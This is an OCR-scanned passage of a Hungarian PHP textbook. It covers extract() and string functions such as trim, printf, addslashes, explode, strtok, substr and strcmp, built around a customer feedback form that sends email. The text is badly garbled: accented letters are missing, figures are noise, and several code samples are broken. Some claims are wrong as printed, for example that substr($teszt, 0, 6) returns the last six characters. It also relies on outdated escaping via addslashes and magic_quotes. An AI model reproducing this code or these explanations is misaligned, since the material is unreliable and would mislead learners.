Az extract () fggvny kt opcionlis paramterrel br: extract _tipusa s elotag. Az extract_tipusa vltoz kzli a fggvnnyel, hogy miknt kezelje az sszetkzseket. Ezek azok az esetek, ame lyekben mr ltezik a kulccsal egyez nev vltoz. Az alaprtelmezett lehetsg a meglv vltoz fellrsa. Az extract_
tipusa

lehetsges rtkeit a 3.2 tblzat mutatja.

3.2 tblzat: Az extract ( ) lehetsges extract tipusa paramterei


_

Tpus
EXTR OVERWRITE EXTR SKIP EXTR PREFIX SAME

Jelents

tkzs esetn fellrja a meglv vltozt. tkzs esetn kihagyja az adott elemet. tkzs esetn $elotag_ kulcs nev vltozt hoz ltre. Ehhez meg kell adni az
elotag

paramtert.

EXTR PREFIX ALL

Az elotag paramterben meghatrozott eltaggal ltja el a vltozneveket. Ehhez meg kell adni az elotag paramtert. Az elotag paramterben meghatrozott eltaggal ltja el a msklnben rvnytelen vltozneveket (pldul a csak szmokbl ll neveket). Ehhez meg kell adni az elotag paramtert.

EXTR PREFIX INVALID

EXTR IF EXISTS

Csak a mr ltez vltozkat nyeri ki (vagyis a tmbben lv rtkeket ltez vltozkba rja). Ez a paramter pldul a $ REQUEST rvnyes vltozk halmazra konvertls
_

nl alkalmazhat.
EXTR-PREFIX-IF-EXISTS EXTR REFS

Ha a vltoz eltag nlkli vltozata mr ltezik, eltaggal elltott vltozatt hozza ltre. Hivatkozsknt nyeri ki a vltozkat.

A paramter kt leghasznosabb rtke az EXTR_OVERWRITE (az alaprtelmezett) s az EXTR_PREFIX_ALL. Alkalman knt a tbbi lehetsg is hasznos lehet, pldul olyankor, amikor risztban vagyunk azzal, hogy egy adott tkzs be fog k vetkezni, s ki akarjuk hagyni, vagy eltaggal kivnjuk elltni az adott kulcsot. Lssunk most egy egyszer, az EXTR_PREFIX_
ALL

rtket hasznl pldt! Figyeljk meg, hogy az itt ltrehozott vltozk neve eltag-alulvons-kulcsnv:
=

$tomb

array (

'kulcsl'

>

'ertekl',

'kulcs2'

>

'ertek2',

'kulcs3'

=> 'ertek3');

extract ($array,

EXTR_PREFIX_ALL,

'sajat_elotag');

echo "$sajat_elotag_kulcsl $sajat_elotag_kulcs2 $sajat_elotag kulcs3";

Ez a kd is a kvetkez kimenetet eredmnyezi:


ertekl ertek2 ertek3

Jegyezzk meg, hogy ha az extract () fggvnnyel szeretnnk egy elemet kinyerni, az elem kulcsnak rvnyes vltoz nvnek kell lennie, vagyis a szmmal kezdd vagy szkzket tartalmaz kulcsokat a fggvny tugorja!

Tovbbi olvasnival
Ez a fejezet a PHP ltalunk leghasznosabbnak vlt tmbfggvnyeit mutatta be. Szndkosan nem vllalkoztunk
a az

sszes

tmbfggvny trgyalsra. A http://www.php.net/array cmen elrhet online PHP kziknyvben rnindegyiknek megtalljuk rvid lerst.

Hogyan tovbbi
A kvetkez fejezetben a karakterlncokat feldolgoz fggvnyekrl tanulunk. Azokkal a fggvnyekkel foglalkozunk, amelyek szeringeket keresnek, cserlnek, illetve felosztjk s egyestik ket. Megismerkednk a regulris kifejezsek fggvnyeivel, ame lyekkel szinte brmilyen mveletet elvgezhetnk a karakterlncokon.

4
Karakterlncok kezelse s regulris kifejezsek
Ebbl a fejezetbl kiderl, hogyan hasznljuk a PHP szeringkezel fggvnyeit szveg formzsra s kezelsre. Azt is meg crgyaljuk, miknt lehet szeringkezel fggvnyekkel s regulris kifejezsek fggvnyeivel szavakra, kifejezsekre vagy karak cerlncon belli egyb szvegmintkra keresni (s Icicserlni azokat). Ezek a fggvnyek szmtalan klnbz helyzetben igen hasznosak rudnak lenni. Gyakran van szksg arra, hogy adatb zisban troland felhasznli inputot rendbe tegynk vagy rformzzunk. A keresfggvnyek kivlan alkalmasak - egyebek kztt keresmotor-alkalmazsok fejlesztsre. A fejezeeben az albbi fbb tmakrket trgyaljuk: Karakterlncok formzsa Karakterlncok egyestse s szrvlasztsa Karakterlncok sszehasonltsa Rszszrringek keresse s cserje szeringkezel fggvnyekkel Regulris kifejezsek hasznlata

Mintaalkalmazs ltrehozsa: intelligens zenetkld rlap


Ebben a fejezerben intelligens zenerkld rlap ltrehozshoz fogunk karakterlncokat s regulris kifejezseket kezel fggvnyeket hasznlni. Ha elkszltnk, Bob alkatrsz-kereskedsnek a korbbi fejezetekben fejlesztett honlapjhoz a<ljuk ezeket a kdokat. Ez alkalommal egy lnyegre tr s gyakran hasznlt zenerkld rlapot fogunk elkszteni, amelynek segtsgvel Bob gyfelei panaszaikar s dicsreteiker kzlhetik vele. Az rlapot a 4.1 brn lthatjuk. Ez az alkalmazs azonban bizonyos te kintetben fellmlja az interneten rallhat szmralan hasonszr rlapot. Ahelyett, hogy az rlapot egy olyan ltalnos e-mail cmre kldennk, mint az info@cegnev.hu, megprbljuk a folyamatot intelligens tenni azltal, hogy kulcsszavakat vagy kife jezseket keresnk a szvegben, majd az eredmny alapjn Bob megfelel alkalmazortjhoz irnytjuk az e-mailt. Ha pldul az e-mail a reklm szt tartalmazza, akkor a vissz:Yelzst a marketingosztlynak cmezzk. Ha az e-mail Bob legnagyobb gyfel tl jtt, akkor mehet egyenesen Bobhoz.

-U - --.6- .,4-,..2 ; : _
e..---. ........... ... _ __

Vsrlk zenetei
koeeljr ...... .... -----

----

--

--

...._ ------

----

-- -------------

--------------

--

'------------------- _, to........... l

4.1

bra: Bob visszajelzst vr rlapja az gyfelek nevt, e-mail cmt s szrevteleit kri.

74

4. fejezet

Induljunk ki a 4.1 pldakdban tallhat, egyszer kdbl, s olvass kzben bvtsk s fejlesszk azt!
4.1 pldakd: uzenet_ feldolgozasa.ph p- Az rlap tartalmnak elkldshez hasznlt kiindul kd <?php

//rvid vltoznevek ltrehozsa $nev=$ POST['nev ']; $email=$_POST[' email']; $uzenet=$ POST[ ' uzenet ']; //statikus informcik belltsa $cmzett "uzenet@pelda.com"; "zenet a honlaprl"; ''Vev neve: ''.$nev.' '\n'' . "Vev e-mail cme: ".$email."\n". "Vev zenete:\n".$uzenet."\n";

$targy

$level_tartalma

$felada = "Felad: webszerver@pelda.com"; //mail() fggvny meghvsa az zenet elkldsre mail($cimzett, ?> <html> <head> <title>Bob autalkatrszek - zenet elkldve</title> </head> <body> <hl>zenet elkldve</hl> <p>zenett elkldtk.</p> </body> </html> $targy, $level tartalma, $felada);

ltalban ellenriznnk-pldul az isset( ) fggvnnyel- hogy a felhasznl az rlap minden ktelez mezjt kitl , ttte-e. Kdunkbl a tmrsg kedvrt kimaradt ennek a fggvnynek a meghvsa. A kdbl lthat, hogy az rlapmezket sszefztk, s a PHP mail () fggvnyvel elkldtk e-mailben az u zenet@
pelda.com cmre. Ez egy minta e-mail cm. Amennyiben tesztelni szeretnnk a fejezetben fejlesztert kdot, cserljk ezt sajt

e-mail cmnkre! Mivel idig mg nem hasznltuk a mail( ) fggvnyt, nzzk meg elszr is azt, hogy hogyan mkdik! Taln nem meglep, hogy a fggvny e-mailt kld. Prototpusa a kvetkezkppen nz ki:
bool mail(string cmzett, tovabbi_parameterek]]); string targy, string uzenet, string [tovabb1 fejlee [, string

Az els hrom- nem mellesleg ktelez- paramterben az e-mail cmzettjt, a trgysor szvegt, illetve magt az zene tet adjuk meg. A negyedik paramterrel tovbbi rvnyes e-mail fejlceket kldhetnk. Az rvnyes e-mail fejlcek lerst az RFC822 dokumentumban talljuk, amely-ha tovbbi rszleteket szeretnnk megtudni-online elrhet. (Az RFC, azaz Request for Comment- magyarui.Megjegyzs krs'- tbb internetszabvnynak a forrsa. Rszletesen a Hlzati s pro tokol!fggvtJyek hasznlata cm 20. leckben foglalkozunk velk.) A negyedik paramter jelen esetben Felad: cmer ad az zenethez. Hasznlhatnnk mg egyebek kztt a Vlaszcm: s Msolat: mezt is. Ha egynl tbb tovbbi fejlcet kivnunk az zenethez adni, a karakterlncon bell jsor s kocsi vissza karaktert (\n\r) hasznlva vlaszthatjuk el ket egymstl, mint pldul itt:
$tovabbi fejlecek="Felad: webserver@pelda.com\r\n " . ' Vlaszcm: bob@pelda.com";

Az opcionlis tdik paramterrel az zenetkldsre belltort programnak adhatunk t paramtert.

Karakterlncok kezelse s regulris kifejezsek

75

A mai l () fiiggvny hasznlathoz be kell lltanunk a PHP-t, hogy az zenetkld alkalmazsunkra mutasson. Ha a kd jelenlegi llapotban nem mkdik a rendszernkn, akkor valamelyik teleptsi bellts lehet a Iudas; tekintsk t a Fgge lkben A PHP s
a

MySQL

teleptst!

A fejezet sorn ezt a kdot fogjuk a PHP szeringkezel fiiggvnyeinek, illetve a regulris kifejezsek fggvnyeinek alkalma zsval tkletesteni.

Karakterlncok formzsa
Gyakran elfordul, hogy hasznlatuk eltt rendbe kell szednnk a felhasznlk ltal- jellemzen HTML rlapon keresz tl - bevitt karakterlncokat. A most kvetkez rszekben az ilyen clra rendelkezsnkre ll fiiggvnyek kzl mutatjuk be a fontosabbakat.

Karakterlncokmegvgsa: tr im (),l tr im () s rtrim () fggvny


A rendraks els lpse a karakterlnc megszabadtsa a felesleges fehrkz karakterektL Br ez a lps soha nem ktelez, igen hasznos lehet, amikor fjlban vagy adatbzisban kivnjuk trolni, vagy ms szeringekkel szetetnnk sszehasonltani a ka rakterlncot. A PHP hrom, erre a clra alkalmas fiiggvnnyel rendelkezik. A kd elejn, ahol rvid neveket adunk az rlap bemeneti vltozinak, a kvetkezkppen tisztthatjuk meg a bemeneti adatokat a t rim() fiiggvnnyel: $nev = trim($ POST['nev']);
$email = trim($_POST['email']);

$uzenet

trim($_POST['uzenet');

A trim() fiiggvny eltvoltja a karakterlnc elejrl s vgrl a fehrkzket, s az gy kapott sztringer adja vissza. A fggvny ltal alaprtelmezsben eltvoltott karakterek kz az jsor s a kocsi vissza karakterek ( \n s \r) , a vzszintes s fggleges tabuttorok (\t s \xOB ) , a szering vge karakter (\0 ) s a szkzk tartoznak. Egy msodik- opcionlis -paramterben megadhatjuk az ezen alaprtelmezett karakterek helyett eltvoltand karakterek listjt. Az adott cltl fug gen hasznlhatjuk az l trim () vagy az rtrim () fiiggvnyt is. Mindkett a trim () fiiggvnyhez hasonl, a szban forg karakterlncot fogadjk paramterknt, s a formzott sztringet adjk vissza. A hrom fuggvny kztt az a klnbsg. hogy a trim () a karakterlnc elejrl s vgrl, az l trim () csak az elejrl (bal oldalrl), az rtrim() csak a vgrl (jobb olda lrl) tvoltja el a fehrkz karaktereket.

Karakterlncokformzsa megjelents cljbl


A PHP szmtalan fiiggvnyt knl a karakterlncok klnfle tformzsra.

HTMLformzs alkalmazsa: az nl2br ()fggvny


Az nl2br() fuggvny a karakterlncot fogadja paramtereknt, s a benne lv sszes jsor karakterr az XHTML <br /> cmkre (rag) cserli. Kivlan hasznlhat hossz karakterlncok bngszben val megjelentsnL Hasznlhatjuk pldul arra, hogy formzs utn megjelentsk az gyfl szrevtelt:
<p>Lent lthat zenett elkldtk.</p> <p><?php echo nl2br($level_tartalma); ?> </p>

Ne feledjk, hogy a HTML figyelmen kvl hagyja a sima fehrkz karaktereket, gy ha nem szrjk meg a kimenetet a nl2br ( ) fiiggvnnyel, a bngszablak ltal esetlegesen kiknyszertett sortrseket leszmtva egyetlen sorban fog megje lenni. Az eredmnyt a 4.2 brn ltjuk.

Karakterlncformzsa nyomtatshoz
Idig az echo nyelvi szerkezettel jelentettk meg a bngszben a karakterlncokat. A PHP a print ( ) fiiggvnyt is t mogatja, amely ugyanazt teszi, mint az echo, m rendelkezik visszatrsi rtkkel (am az eredmnytl fuggen true vagy
false ) .

76

4. fejezet

t..

..... _......_

VM>-.Milu.W....\'""'..-:_....,..\--.:-.Iq)--....... . _ .......
"'"'4-.:1.'-oH,,..

::::::.._.-..--...._

........._

4.2 bra: A PHP nl2br () fggvnyvel tetszetsebb tehet a hossz karakterlncok HTML-en belli megjelentse. Mindkt mdszer .as is'; azaz aktulis formjban nyomtatja ki a karakterlncot.A printf ( ) s a sprintf () fgg vnnyel nmileg kifinomultabb formzst is vgrehajthatunic Alapveterr ugyangy mkdnek, azzal a klnbsggel, hogy a printf () megjelenti a bngszben a formzott sztringet, az sprintf ()pedig visszatrsi rtkknt adja vissza. Ha programozrunk mr korbban C-ben, akkor ltni fogjuk, hogy ezek a fggvnyek mkdsket tekintve C-beli trsaik hoz hasonlak.Vigyzzunk azonban, mert szintaktikjuk nem teljesen azonos! Ha nem dolgozrunk mg ezekkel a fggvnyek keL nmi idre lehet szksg, mg megszakjuk hasznlarukat, m igen hasznosnak s hatkonynak fogjuk tallni ket.

A kt fggvny prototpusa a kvetkez:


string sprintf void printf (string formatum [,

[,

mixed parameterek ...])

(string formatum

mixed parameterek...])

Mindkt fggvny els paramtere egy formtumsztring, amely vltozk helyett formz kddal rja le a kimenet alakjt. A tovbbi paramterek a formrumsztringbe helyettestett vltozk. Az ee ho fggvny esetben hasznlhatjuk soron bell a megjelenteni kivnt vltozkat, ahogy az albbi plda is mutatja:
echo "A rendels vgssszege: $total.";

Ha ugyanezt a printf () fggvnnyel szeretnnk elrni, a kvetkez formban kell hasznlni:


printf

("A rendels vgsszege: %s.",

$total);

A formtumsztringben lv %s-t konverzis specifikcinak nevezzk.Ez azt jelenti, hogy .karakterlnccal helyettestend': Jelen esetben a karakterlncknt rtelmezett $total vltoz helyettesti. Ha az ebben a vltozban trolt rtk mondjuk 12.4, akkor mindkt mdszer esetn a 12 . 4 jelenik meg a bngszben. A printf () alkalmazsnak elnye, hogy pontosabb konverzis specifikcit hasznlharunk annak meghatrozsra, hogy a $total valjban egy lebegpontos szm, amely a tizedespont (magyar jells esetn tizedesvessz) utn kt tizedesjegyet kell, hogy tartalmazzon. A kvetkez kddal rhetjk ezt el:
printf

("A rendels vgsszege:

%.2f",

$total);

Ha ilyen formzs esetn a $total vltozban 12.4 az eltrolt rtk, akkor az utasts 12. 4 O-knt fogja azt megjelenteni. A formtumsztringben tbb konverzis specifikcit is megadhatunk.Amennyiben lecserlni az tformzott argumentumok. Nzzk az albbi pldt:
printf
n

konverzis specifikcit hasznlunk,

akkor ltalban n argumentum szerepel a formtumszering utn.A konverzis specifikcikat a listabeli sorrendben fogjk ("A rendels vgsszege:
%.2f (szllitssal egytt: %.2f) ", $total, $total

szallitas);

Itt az els konverzis specifikci a $total, a msodik a $total_ szallit as vltozr hasznlja. Mindegyik konverzis specifikci ugyanazt a formtumot kveti, ami a kvetkez:
%['kitolto_karakter][-][szelesseg] [.pontossag]tipus

Minden konverzis specifikci a % szimblummal kezddik.Ha tnylegesen a % szimblumot kivnjuk megjelenteni, akkor a %% karaktereket kell hasznlni. A kitolto_karakter opcionlis.Clja, hogy a vltozt az ltalunk meghatrozott szlessgre tltse ki.Plda lehet r egy szmll el rakott nullk sorozata. Az alaprtelmezerr kitlt karakter a szkz.Ha szkzt vagy nullt hatrozunk meg, nem szksges el aposztrfot ( ' ) helyezni.Brmilyen ms kitlt karaktert eltagknt aposztrffal kell elltni. A - szimblum szintn opcionlis. Azt lltja be, hogy a mezben lv adat az alaprtelmezett jobbra igazts helyett balra igaztva jelenik meg.

Karakterlncok kezelse s regulris kifejezsek

77

A szelesseg paramter kzli a printf () fggvnnyel, hogy (karakterben szmolva) mennyi helyet hagyjon az ide be

helyettestend vltoznak.
A pontos sag paramternek tizedesponttal kell kezddnie, s tartalmaznia kell a tizedespont (tizedesvessz) utn megje

lenteni kivnt tizedesjegyek szmt.


A specifikci utols rsze a tpus kclja. A lehetsges tpusok kdjt a 4.1 tblzatban talljuk. 4.1

tblzat: A

konverzis specifikci tpuskdjai

Tpus
b
c d

Jelents
Egszknt rtelmezi, s binris szmknt jelenti meg. Egszknt rtelmezi, s karakterknt jelenti meg. Egszknt rtelmezi, s decimlis szmknt jelenti meg Double tpusknt rtelmezi, s lebegpontosknt jelenti meg. Egszknt rtelmezi, s nyolcas szmrendszerbeli szmknt jelenti meg. Karakterlncknt rtelmezi s jelenti meg. Egszknt rtelmezi, s eljel nlkli decimlis szmknt jelenti meg. Egszknt rtelmezi, s hexadecimlis szmknt jelenti meg kisbets a-f szmjegyekkeL Egszknt rtelmezi, s hexadecimlis szmknt jelenti meg nagybets A-F szmjegyekkeL

f
o

u x x

A printf () fggvny konverzis tpuskdokkal val hasznlata esetn alkalmazhatunk argumentumszmozst. Ez azt

jelenti, hogy argumentumainak nem szksges a konverzis specifikcikkal megegyez sorrendben lennik. Pldul:
printf

("A rendels vgsszege:


$total);

%2\$.2f (szllitssal egytt:

%1\$.2f)

",

Stotal_szallitas,

Csupn annyit kell tennnk, hogy az argumentum listabeli pozcijt kzvetlen l a% jel utn rjuk, s mg egy vdka rakterrel, vagyis \jellel elltott $ szimblumot helyeznk; ebben a pldban a 2\$ azt jelenti, hogy .,helyettestsd a listban msodik argumentummal!': Ezzel a mdszerrel ismtelni is lehet az argumentumokat.
A fuggvny kt alternatv vltozarnak vprintf () s vsprintf () a neve. Ezek kt paramtert fogadnak: a formtum

sztringer s - a vltoz szm paramterek helyett - az argumentumok tmbjt.

Kis- s nagybets rsmd megvltoztatsa a karakterlncban


Brmely karakterlncban megvltoztathatjuk, hogy egy rsze vagy egsze kis- vagy nagybetvel legyen szedve. Mintaalkalma zsunk esetn ennek ugyan nem sok haszna van, m mgis nzznk meg nhny rvid pldt! Induljunk ki az e-mail trgyt tartalmaz karakterlncbl ($targy), s vizsgljuk meg. hogy milyen fggvnyekkel vltoz tathatjuk meg rsmdjt l E fggvnyek hatst a 4.2 tblzat foglalja ssze. Az els oszlopban a fggvny nevt ltjuk, a mso dikban eredmnyt, a harmadikban azt, hogy miknt kell a $targy karakterlnc esetn hasznlni. Az utols oszlop a fuggvny
ltal visszaadott rtket mutatja. 4.2 tblzat: Kis- s nagybets rsmd megvltoztatsra alkalmas fggvnyek s hatsuk

Fggvny
strtoupper()

Lers
Nagybetss alaktja a karakterlncot Kisbetss alaktja a karakterlncot A karakterlnc els karaktert nagybetss alaktja (amennyiben az alfabetikus karakter) Nagybetss alaktja a karakterlnc minden, alfabetikus karakterrel kezdd szavnak els karaktert

Hasznlat
$targy strtoupper($targy)

rtk
zenet a honlaprl ZENET A HONLAPRL zenet a honlaprl zenet a honlaprl

strtolower() ucfirst()

strtolower($targy) ucfirst($targy)

ucwords()

ucwords ($targy)

zenet A Honlaprl

78

4. fejezet

Trolni kvnt karakterlncok formzsa: addslashes () s stripslashes () fiiggvny


A sztr;ngkezel fggvnyeket nem csak a karakterlncok vizulis formzsra hasznlhatjuk, hanem adatbzisban trolni kvnt szeringeket is talaktharunk velk. Br az adatbzisba rssal egszen a MySQL hasznlata cm 2. rszig nem foglalko zunk, a karakterlncok adatbzisban trolshoz szksges formzst itt s most fogjuk ttekinteni. Egyes karakterek teljesen rtelmesek s megfelelek karakterlnc rszeknt, ugyanakkor gondot is okozhatnak, klnsen akkor, ha adatbzisba helyezzk ezeket az adatokat, mivel az vezrl karakterknt rtelmezheti ket. A problms karakterek az idzjelek {egyszeres s ktszeres), a visszaper ( ) s a NULL karakter. \ Meg kell tallni a mdjt annak, hogy megjelljk vagy vdkarakterrel kiemeljk ezeket a karaktereket, s gy a MySQL s az ahhoz hasonl adatbzisok tisztban legyenek azzal, hogy klnleges, nem pedig vezrl karakternek szntuk ezeket. Az ilyen karaktereket a visszaper vdkaraktert eljk rva emelhetjk ki. A " (ketts idzjel) pldul \" ( visszaper ketts idzjel) lesz, a\ (visszaper) pedig\\ ( visszaper visszaper). (Ez a szably egyetemlegesen rvnyes a klnleges karakterekre, gy ha\\ szerepel karakterlncunkban, akkor\\\\ formban kell szerepeltetnnk.) A PHP kt olyan fggvnnyel rendelkezik, amit kifejezetten"vdkarakterrel elltsra" alaktottak ki. Mieltt brmilyen karakterlncot adatbzisba rnnk, az addslashes( ) fggvnnyel kell az albbiak szerint tforrnzni azt (feltve persze, hogy PHP-bellitsaink kztt nincs ez a funkci alaprtelmezsben bekapcsolva):
$uzenet
=

addslashes(trim($_POST['uzenet']));

A szeringkezel fggvnyek tbbsghez hasonlan az adds lashes( ) is paramterknt fogadja a karakterlncot, majd tformzott karakterlncknt aclja vissza. A 4.3 brn ezeknek a fggvnyeknek a karakterlncra gyakorolt hatst lrhatjuk. Ha sajt szervernkn is kiprbljuk a fggvnyeket, elkpzelhet, hogy a 4.4 brn lthathoz hasonl eredmnyt kapunk.

4
.lu---- -s-,,,....._. ....... CI'91-t-.,...
,. .... _

.. ..,_" ..........

4.3 bra: Az addslashes ()fggvny meghvsa utn az idzjelek visszaperjellel lettek kiemelve.

A stripslashes( ) eltvola a visszaperjeleket.

4.4 bra: Minden problms karakter dupln lett kiemelve; ez azt jelenti, hogy a magic quotesfunkci be van kapcsolva.

Ez az utbbi eredmny azt jelzi, hogy a PHP gy lett belltva, hogy automatikusan eltvolrja a visszapetjeleket. Ezt a funkcit a magi c_quotes_gp c konfigurcis bellts szablyozza. A gpc, amely a PHP j teleptseinl alaprtelmezsben be van kap csolva, a GET, a POST s a cookie szra utal. Ez azt jelenti, hogy az ezekbl a forrsokbl szrmaz vltozk esetben automatiku san visszaperjel kerl a problms karakterek el. Amennyiben a bellts be van kapcsolva rendszernkn, a felhasznli adatok megjelentse eltt meg kell hvnunk a stripslashes () fggvnyt, klnben megjelennek a visszaperjelek is. A magic quotes funkci hasznlata hordozhatbb teszi kdunkat. A funkcirl rszletesebben olvasharunk az Egyb hasz
nosfunkcik cm 24. leckben.

Karakterlncok kezelse s regulris kifejezsek

79

Karakterlncok egyestse s felosztsa sztringkezel fggvnyekkel


Gyakran megesik,hogy kln-kln szeretnnk egy karakterlnc rszeit vizsglni. Tegyk fel,hogy szavanknt szeretnnk megnzni egy mondatot (pldul helyesrs-ellenrzs cljbl),vagy elemekre kivnunk bontani egy domainnevet vagy e-mail cmet! A PHP szmos olyan szeringkezel fggvnnyel (s egy regulris kifejezseket kezel fggvnnyel) rendelkezik,amelyek lehetv teszik ezt. Pldnkban Bob azt szeretn,hogy a nagyugyfel.com cmrl rkez zenetek kzvetlenl hozz fussanak be,ezrt az gyfelek ltal begpelt e-mail cmet rszekre bontva megprbljuk kiderteni,hogy a kld Bob nagy gyfelnl dolgozik-e.

Az explode (), implode () s j o in () fiiggvny hasznlata


A fenti clra alkalmas els fggvny
az

explode (),amely

az

albbi prototpussal rendelkezik:


int limit]);

array explode(string elvalaszto,

string input [,

A fggvny fogja az in put paramterben meghatrozott karakterlncot,s az elvalasz to sztring ltal meghatrozol:t elvlaszt karakter mentn darabokra bontja. A z gy kapott darabokat egy tmbbe helyezi. A darabok szmt az opcionlis
limit paramterrel korltozhatjuk.

A kvetkez kdot kell hasznlnunk arra,hogy az gyfl e-mail cmbl megrucijuk domainnevt:
$email_tomb
=

explode ( '@',

$email);

Az explode () fggvny fenti paramterekkel trtn meghvsa kt rszre bontja az gyfl e-mail cmt: a felhasznli nvre,amely az $email_tomb[O l, illetve a domainnvre,amely az $email_tomb [l] tmbelemben troldik el. Most mr kpesek vagyunk a domainnevet ellenrizve megllaptani,melyik vllalatnl dolgozik az gyfl,s zenett ennek megfelelen tovbbtani a clszemlynek:
if ($email tomb[l]
$cimzett else { $cimzett
= ==

"nagyugyfel.com")

"bob@pelda.com";

"uzenet@pelda.com";

Amennyiben azonban a domainnv nagybetvel vagy kis- s nagybetvel vegyesen van szedve,ez a megkzelts nem fog mk dni. gy tudjuk kezelni ezt a problmt, hogy a domainnv csupa nagybetre vagy csupa kisbetre konvertlsa utn ellenrizzk az egyezsget:
if (strtolower($email_tomb[l])
$cimzett e lse { $cimzett
= ==

"nagyugyfel.com")

"bob@pelda.com";

"uzenet@pelda.com"; implode () vagy a j oin() fggvnnyel fordthatjuk vissza (a kt fggvny egymssal

Az explode() fggvny hatst egyenrtk). Pldul:


$uJ_email
=

az

implode('@',

$email tomb);

Ez az utasts fogja az $email_tomb tmbelemeket,s az els paramterknt megadott sztringgel egyesti azokat. A fgg vnyt az explode ()-hoz hasonlan hvjuk meg. m hatsa pont ellenttes.

Az strtok () fiiggvny hasznlata


A neki radott karakterlncot egyszerre darabokra bont explode () fggvnnyel ellenttben a strtok ( ) egyenknt vesz belle tokennek nevezett darabokat. A strtok() az explode() fggvny kivl alternatvjt jelenti minden olyan esetben, amikor egyenknt kell egy karakterlnc szavait feldolgozni. A strtok() fggvny prototpusa:
string strtok(string input, string elvalaszto);

Az elvlaszt lehet karakter s karakterlnc is,de a bemeneti karakterlncot-az explode fggvnnyel ellenttben- nem a reljes elvlaszt karakterlncon,hanem az elvlaszt karakterlnc minden egyes karaktere mentn elvlasztja. A strtok () meghvsa nem annyira egyszer, ahogy azt a prototpus alapjn gondolhatnnk. A hhoz,hogy a karakter lncbl megkapjuk az els tokent,kt paramterrel, a karakterlnccal s az elvlasztval hvjuk meg a strtok() fggvnyt. Ahhoz, hogy a karakterlncbl
az ezt

kvet tokeneket is megkapjuk, mr csak egyeden paramtert adunk a fggvnynek-az

elvlasztt. A fggvny a karakterlncon bell megrzi sajt bels mutatjnak helyt. Ha vissza akarjuk lltani a mutatt a karakterlnc elejre,paramterknt jra tadjuk a fggvnynek.

80

4. fejezet

A strtok (} fggvnyt jellemzen a kvetkezkppen hasznljuk:


$token = strt ok ($uzene t' echo $token.n<br />n; while ($token ' n n};

!= nn}

$token = strtok (n n}; echo $token.n<br />n;

ltalban rdemes ellenrizni, hogy az gyfl rt-e brmilyen zenetet az rlapra; ezt pldul az empty (} fggvnnyel te hetjk meg. Az egyszersg kedvrt a pldbl kihagytuk ezeket az ellenrzseket. Az elz kd kln sorban jelenti meg az gyfl zenetben lv minden egyes cokent, s mindaddig fut a ciklus, amg van token. Az res karakterlncokat automatikusan tlpi e folyamat kzben.

A substr ( ) fggvny hasznla ta


A substr (} fggvnnyel egy karakterlnc adott kezd- s vgpontja kzrti rszsztringeket rhetnk el. A fejezetben hasz nlt pldban ugyan nincs r szksg, m hasznos lehet, amikor rgztett formtum karakterlncok rszeihez kell jutnunk. A substr (} fggvny prototpusa a kvetkez:
string substr (string sztring, int start[, int hossz] };

A fggvny asztring karakterlncbl kimsolt rszsztringet ad vissza. A kvetkez pldk az albbi tesztsztringer hasznljk:

$teszt =

'gyflszolglatuk igen kivl';

Amennyiben a fggvnyt a start paramternl csak egy pozitv szmot megadva meghvjuk, a start pozcitl a karak terlnc vgig tart rszsztringet adja vissza. Pldul a:
substr ($teszt,
az

l};

gyflszolglatuk igen kivl karakterlncot adja vissza. A karakterlncon belli pozci a tmbkhz hasonl

an O-val indul. Amennyiben a substr (} fggvnyt csak egy negatv start paramterrel hvjuk meg, a karakterlnc utols start karak tert kapjuk vissza. A
substr ($test, -6};

fggvny ennek megfelelen a kiv l karakterlncot eredmnyezi. A hossz paramtert arra hasznlhatjuk, hogy meghatrozzuk a visszaadand karakterek szmt (pozitv rtk esetn), illetve a visszaadott karaktersor utols karaktert (negatv rtk esetn). A
substr ($teszt,

O,

6};

fggvny a karakterlnc utols hat karaktert adja vissza- ami jelen esetben az gyfl. Az
echo substr ($test,

18,

-7};

kd a negyedik s a htulrl hetedik karakter kztti karaktereket aclja vissza- jelen esetben az igen karakterlncot. Az els karakter a O. pozci, gy a 18. pozci a tizenkilencedik karaktert jelli.

Karakterlncok sszehasonltsa
Idig csak azt lttuk, hogyan hasznljuk a
==

mveleti jelet kt karakterlnc egyenlsgnek megllaptsra. A PHP ennl kis

s kifinomultabb sszehasonltsokra is lehetsget ad. Kt kategriba csoportostottuk ezeket: rszleges egyezsg s egye bek. Elszr az egyebek kategrival foglalkozunk, majd ezt kveten trnk r a rszleges egyezsgre, amelyre az intelligens rlap tovbbfejlesztshez szksgnk lesz.

Karakterlncoksorba rendezse: strcmp (), strcasecmp ( ) s strnatcmp ( ) fiiggvny


Az strcmp (},az strcasecmp (} s az strnatcmp (} fggvnnyel karakterlncokat rendezhetnk sorba. Ez a kpessg adatok rendezsnl vlik igen hasznoss. Az strcmp (} fggvny prototpusa:
int strcmp (string strl, string str2};

A fggvny kt karakterlncot fogad, s sszehasonltja ezeket. Egyenlsgk esetn visszatrsi rtke O. Ha az str l b crendben az str2 utn kvetkezik (vagy nagyobb nla), akkor az strcmp (} fggvny egy nullnl nagyobb szmmal tr

Karakterlncok kezelse s regulris kifejezsek

81

vissza. Amennyiben str l kisebb, mint str2, az s trcmp () visszatrsi rtke nullnl kisebb. A fuggvny megklnbzteti a kis- s nagybetket. Az strcasecmp () fuggvny pontosan ugyangy viselkedik, azonban nem tesz klnbsget a kis- s nagybetk kztt. Az strnatcmp () fuggvny s a kis- s nagybetket nem megklnbztet testvre, az strnatcasecmp () a,.term szetes rendezsnek" megfelelen hasonltja ssze a karakterlncokat, ami jobban megfelel az ember hagyomnyos rendezsi elveinek. Az strcmp( ) szerint pldul karakterlncok esetn a 2 nagyobb, mint a 12, mivel lexikografikusan nagyobb. Az strnatcmp() pont fordtva rangsorolja ket. A termszetes rendezsrl bvebben is olvasharunk a http://www . naturalordersort.org/ oldalon.

Karakterlnc hossznak megllaptsa az st r l e n ( ) fggvnnyel


A karakterlncok hosszt az strlen() fggvnnyel derthetjk ki. Ha tadunk a fggvnyek egy karakterlncot, visszatrsi rtke annak hossza lesz. Pldul a kvetkez kd eredmnye 5 lesz:
echo'strlen("hello");.

A fggvny beviteli adat ellenrzsre is alkalmas. Gondoljunk bele a mintarlapon lv e-mail cmbe, amit az $email vl tozban trolunk! Az e-mail cm ellenrzsnek legegyszerbb mdszere a hossznak megllaptsa. Egy e-mail cm legalbb hat karakter hossz: pldul a@a. to, amelyben az orszgkdhoz nem tartozik msodik szint domain, illetve a szervernv s a felhasznl cme egy-egy betbl ll. Ha a felhasznl ltal megadott e-mail cm nem ri el ezt a karakterhosszt, akkor hiba kvetkezik be:
if (strlen($email) <

6) (

echo 'rvnytelen e-mail cm'; exit; )

ll a

PHP

